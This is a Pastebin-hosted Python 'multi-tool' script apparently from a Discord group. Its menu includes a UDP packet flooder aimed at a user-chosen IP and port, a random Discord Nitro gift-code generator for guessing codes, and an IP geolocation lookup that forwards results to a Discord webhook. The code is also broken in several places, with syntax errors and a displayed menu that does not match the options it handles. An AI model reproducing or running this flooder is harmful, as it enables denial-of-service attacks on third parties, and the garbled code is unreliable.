Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import subprocess
- import requests
- import json
- import random
- import time
- import string
- import socket
- try:
- import gratient
- from colorama import Fore, Back, Style
- except ImportError:
- print("Installing required modules...")
- os.system('pip install gratient colorama')
- print("Modules installed. Please restart the script.")
- exit()
- def apply_gradient(text, color1, color2):
- gradient_text = f"{getattr(Fore, color1.upper())}{getattr(Back, color2.upper())}{text}{Style.RESET_ALL}"
- return gradient_text
- def print_gradient(text, color1, color2):
- gradient_text = apply_gradient(text, color1, color2)
- print(gradient_text)
- try:
- import gratient
- except ImportError:
- print("Installing required modules...")
- os.system('pip install gratient')
- print("Modules installed. Please restart the script.")
- exit()
- def display_title():
- FEDS_METHOD = """
- ███████╗░██████╗░███████╗░██╗░░░░░░░██╗ ████████╗░█████╗░░█████╗░██╗░░░░░
- ██╔════╝██╔════╝░██╔════╝░██║░░██╗░░██║ ╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░
- █████╗░░██║░░██╗░█████╗░░░╚██╗████╗██╔╝ ░░░██║░░░██║░░██║██║░░██║██║░░░░░
- ██╔══╝░░██║░░╚██╗██╔══╝░░░░████╔═████║░ ░░░██║░░░██║░░██║██║░░██║██║░░░░░
- ███████╗╚██████╔╝██║░░░░░░░╚██╔╝░╚██╔╝░ ░░░██║░░░╚█████╔╝╚█████╔╝███████╗
- ╚══════╝░╚═════╝░╚═╝░░░░░░░░╚═╝░░░╚═╝░░ ░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝
- cord : egfw
- """
- gratient_text = gratient.blue(egfw tool)
- print(gratient_text)
- def display_options():
- FEDS_OPTIONS = """
- 6 : IP LOOKUP
- 8 : exit
- """
- gratient_text = gratient.blue(egfw options)
- print(gratient_text)
- try:
- import requests
- except ImportError:
- print("Installing required modules...")
- os.system('pip install requests')
- print("Modules installed. Please restart the script.")
- exit()
- try:
- import gratient
- except ImportError:
- print("Installing required modules...")
- os.system('pip install gratient')
- print("Modules installed. Please restart the script.")
- exit()
- try:
- from colorama import Fore, Back, Style
- except ImportError:
- print("Installing required modules...")
- os.system('pip install colorama')
- print("Modules installed. Please restart the script.")
- exit()
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- def send_packet(ip, port):
- sock.sendto(b"X"*1024, (ip, port))
- print("Packet sent to", ip)
- def send_packets_continuously(ip, port, num_packets=1000):
- for _ in range(num_packets):
- send_packet(ip, port)
- def check_ip():
- subprocess.run(['ipconfig'])
- input("Press Enter to continue...")
- def ping_ip():
- target_ip = input("Enter the IP address to ping: ")
- subprocess.run(['ping', target_ip])
- input("Press Enter to continue...")
- def generate_nitro():
- num_codes = int(input("Enter the number of Nitro codes to generate: "))
- generate_to_file = input("Do you want to save the codes to 'nitro_codes.txt'? (yes/no): ").lower() == 'yes'
- nitro_codes = [f'https://discord.gift/{"".join([random.choice(string.ascii_uppercase + string.digits) for _ in range(16)])}' for _ in range(num_codes)]
- if generate_to_file:
- file_path = 'nitro_codes.txt'
- with open(file_path, 'a') as file:
- file.write('\n'.join(nitro_codes))
- print(f"Codes saved to {os.path.abspath(file_path)}")
- else:
- print('\n'.join(nitro_codes))
- input("Press Enter to continue...")
- def url_shortener():
- url = input("Enter the URL to shorten: ")
- response = requests.get(f'http://tinyurl.com/api-create.php?url={url}')
- print(f'Shortened URL: {response.text}')
- input("Press Enter to continue...")
- def grab_ip_send_webhook():
- webhook_url = input("Enter your webhook URL: ")
- if not webhook_url:
- print("Please enter a valid Discord webhook URL.")
- input("Press Enter to continue...")
- return
- ip = input("Enter an IP address to lookup: ")
- url_template = "https://ipinfo.io/%s/json"
- try:
- response = requests.get(url_template % ip)
- data = response.json()
- payload = {
- "content": f"IP Geolocation:\n```\n{json.dumps(data, indent=2)}\n```"
- }
- requests.post(webhook_url, headers={"Content-Type": "application/json"}, data=json.dumps(payload))
- print("IP Geolocation sent to webhook successfully!")
- except Exception as e:
- print(f"Error: {e}. Please check if the IP is valid or if there are any connection issues.")
- input("Press Enter to continue...")
- def ip_geo_lookup():
- ip = input("Enter an IP address to lookup: ")
- url_template = "https://ipinfo.io/%s/json"
- try:
- response = requests.get(url_template % ip)
- data = response.json()
- print(json.dumps(data, indent=2))
- except KeyError as e:
- print(f"KeyError: {e}. Please check if the data structure has the required keys.")
- input("Press Enter to continue...")
- def typing_effect(text):
- for i in range(len(text)):
- replaced_text = text[:i] + '^' + text[i+1:]
- print(f"\r{replaced_text}", end='', flush=True)
- time.sleep(0.1)
- print(f"\r{text}", end='', flush=True)
- def moving_banner_effect():
- while True:
- os.system('cls' if os.name == 'nt' else 'clear')
- display_title()
- display_options()
- if __name__ == "__main__":
- os.system('title .gg/fedsmethod')
- while True:
- os.system('cls' if os.name == 'nt' else 'clear')
- display_title()
- display_options()
- typing_effect("Enter your choice: ")
- choice = input()
- if choice == "1":
- check_ip()
- elif choice == "2":
- ping_ip()
- elif choice == "3":
- generate_nitro()
- elif choice == "4":
- url_shortener()
- elif choice == "5":
- grab_ip_send_webhook()
- elif choice == "6":
- ip_geo_lookup()
- elif choice == "7":
- target_ip = input("Enter the target IP address: ")
- target_port = int(input("Enter the target port: "))
- send_packets_continuously(target_ip, target_port)
- elif choice == "8":
- break
- else:
- print_gradient("Invalid choice. Please enter a valid option.", 'red', 'yellow')
- input("Press Enter to continue...")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement